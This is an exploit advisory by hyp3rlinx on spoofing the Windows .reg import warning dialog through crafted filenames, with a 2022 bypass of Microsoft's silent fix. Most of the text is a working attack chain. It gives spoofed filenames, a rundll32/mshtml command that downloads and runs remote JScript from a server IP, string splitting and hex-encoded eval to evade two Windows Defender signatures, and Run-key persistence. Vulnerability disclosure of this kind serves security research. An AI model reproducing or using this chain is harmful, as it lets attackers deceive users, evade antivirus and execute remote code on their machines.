# Exploit Title: Microsoft Windows .Reg File - Dialog Spoof / Mitigation Bypass
# Exploit Author: John Page (aka hyp3rlinx)
# Website: hyp3rlinx.altervista.org
# Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_REG_FILE_DIALOG_SPOOF_MITIGATION_BYPASS.txt
# twitter.com/hyp3rlinx
# ISR: ApparitionSec
[Vendor]
www.microsoft.com
A file with the .reg file extension is a Registration file used by the Windows registry. These files can contain hives, keys, and values.
.reg files can be created from scratch in a text editor or can be produced by the Windows registry when backing up parts of the registry.
[Vulnerability Type]
Windows .Reg File Dialog Spoof - Mitigation Bypass
[CVE Reference]
N/A
[Security Issue]
Back in 2019 I disclosed a novel way to spoof the Windows registry dialog warning box to display an attacker controlled message.
This spoofing flaw lets us spoof the "Are you sure you want to continue?" warning message to instead read "Click Yes to abort" or
whatever else an attacker would like to display.
This flaw can potentially make users think they are canceling the registry import when they are in fact importing it, as we can make the
registry security warning dialog box LIE to them as the warning messages are now under an attacker's control.
The way it works is using a specially crafted .Reg filename, this allows control of the registry warning dialog message presented to an end user.
Recently, I noticed in 2022 .Reg file dialog spoof no longer works on Windows 10, but instead triggers an access violation in Regedit.exe.
Therefore, something has changed in the OS, possibly a silent mitigation hmmm. Wouldn't be the first time, back in 2016 my msinfo32.exe
.NFO file XXE injection vulnerability report had a similar fate, fixed with no CVE or bulletin and that one allowed remote file access data theft.
In an threatpost.com interview in 2019, Microsoft stated "The issue submitted does not meet the severity bar for servicing via a security update"
Reference: https://threatpost.com/windows-bug-spoof-dialog-boxes/142711
However, the "fix" is easily bypassed and the old payload can still be made to work across systems.
Bypassing .Reg spoofing fix was only the start, I had to find ways to bypass two different Windows Defender detections along the way for the PoC.
Trojan:Win32/Powessere.G
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FPowessere.G%21lnk&ThreatID=2147752427
Backdoor:JS/Relvelshe.A
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/Relvelshe.A&ThreatID=2147744426
Lets begin...
My original .Reg file spoofing payload of 2019, now triggers an access violation and crashes regedit.exe from invalid pointer read.
00007FFE7A4A7C83 | EB 0D | jmp ntdll.7FFE7A4A7C92 |
00007FFE7A4A7C85 | FF C9 | dec ecx | ;This loops thru to read in the path + filename
00007FFE7A4A7C87 | 66 45 39 5D 00 | cmp word ptr ds:[r13],r11w | ;ACCESS VIOLATION HERE
00007FFE7A4A7C8C | 74 08 | je ntdll.7FFE7A4A7C96 | ;Move the string down two bytes
00007FFE7A4A7C8E | 49 83 C5 02 | add r13,2 | r13:L"10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"
00007FFE7A4A7C92 | 85 C9 | test ecx,ecx
00007FFE7A4A7C87 | 66 45 39 5D 00 | cmp word ptr ds:[r13],r11w | ; BOOM ACCESS VIOLATION on Win10, but not Win7
ntdll!woutput_l+0x387:
00007ffe`7a4a7c87 6645395d00 cmp word ptr [r13],r11w ds:000001ed`00000000=????
========================================================================================================================================
Online search shows Win-7 still makes up about 22% of the world's computers, so I ask my friend Security researcher Eduardo Braun Prado (Edu_Braun_0day)
to help me re-test the .REG file spoof on Windows 7 for completeness. Turns out my original payload still works on Win-7 and with minor tweaks on Win-10.
Original works on Win-7, but crashes regedit.exe on Win-10:
Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg
Original payload (first mitigation bypass) works Win-7/Win-10:
Remove second to last byte (%1) before the %0 string terminator and %b characters Windows_Reg_Spoof_Mitigation_Bypass.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg
New payload mitigation bypass works on both Win-7 and Win-10:
Windows_Reg_Spoof_Mitigation_Bypass.%n%nClick YES to cancel%0.reg
However, we are NOT done yet as we must deal with Windows Defender detection preventions.
1) Trojan:Win32/Powessere.G
2) Backdoor:JS/Relvelshe.A
Bypassing "Trojan:Win32/Powessere.G"
=====================================
Two components required to defeat Trojan:Win32/Powessere.G detection in Windows Defender.
A) extra path traversal when referencing mshtml ..\\..\\..\\
B) concatenation when constructing the remote server URL scheme "script"+":"+"http.
FAIL on current updated Windows 10
C:\>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(1)
Access is denied.
SUCCESSFUL on current updated Windows 10
Using an extra ..\ results in a bypass, but does nothing useful just an alert box.
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";alert(1)
Trying to download and execute remote code using the payload below fails again, as we need the second component URL scheme concat.
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.1.45/hi.tmp")
Access is denied.
Jscript concatenation of the URL scheme.
document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")
Successfully bypasses "Trojan:Win32/Powessere.G" detection!
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")
Final hurdle we face, Windows defender detects the below downloaded file named "backdoor" as Backdoor:JS/Relvelshe.A and removes it from INetCache.
"C:\Users\victim\AppData\Local\Microsoft\Windows\INetCache\IE\2MH5KJXI\backdoor[1]"
File "backdoor" contents.
<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>
Bypassing "Backdoor:JS/Relvelshe.A" detection.
==============================================
The way we do this is to Hex encode our PoC code new ActiveXObject("WScript.Shell").Run("calc.exe")
Then, call String.fromCharCode(parseInt(hex.substr(n, 2), 16)) to decode it on the fly passing the value to Jscripts builtin eval function.
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
Done!, successfully bypassed the .Reg spoof mitigation and two Windows Defender detections. Long Live Windows .Reg file dialog spoofing Flaw!
[References]
Original advisory: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.REG-FILE-DIALOG-BOX-MESSAGE-SPOOFING.txt
https://threatpost.com/windows-bug-spoof-dialog-boxes/142711/
[Mitigation Bypass, New PoC Video URL]
https://www.youtube.com/watch?v=QANX45jieoo
[Exploit/PoC/2022]
Note: The circa 2019 advisory exploit abused "Image File Execution Options" to store the payload as a debugger setting for MSIE.
Unfortunately, that no longer works, so we will make do for now with storing the payload on disk in a .cmd file and registry Run key.
1) Create a .Reg Dialog Spoofing file named, Sales_Report_2022.%n%nClick YES to cancel%0.reg with below contents
OR use the original payload with minor alterations. Sales_Report_2022.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg
I prefer the original because the % characters help obscure the obvious wording in the filename.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"HATE"="C:\\dump\\s.cmd"
2) Create a Windows .cmd file, "s.cmd", with below contents. Unfortunately, it needs to be stored on disk using the path as referenced in the .Reg file above,
update server IP as required.
rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")
3) Create the remote code Jscript component "hi.tmp", host on server port 80, it pops calc.exe using WScript.Shell.
<?xml version="1.0"?>
<component>
<script>
<![CDATA[
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
</script>
</component>
4) Logout and log back into Windows, BOOM calc.exe runs!
[Network Access]
Local
[Severity]
High
[Disclosure Timeline]
Original Vendor Notification: March 1, 2019
Original MSRC Response: " A registry file was created with the title you suggested, but the error message was clear."
Then vendor sent me a link pointing me to the "Definition of a Security Vulnerability".
March 10, 2019 : Public Disclosure
Vendor Notification:
January 10, 2022 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
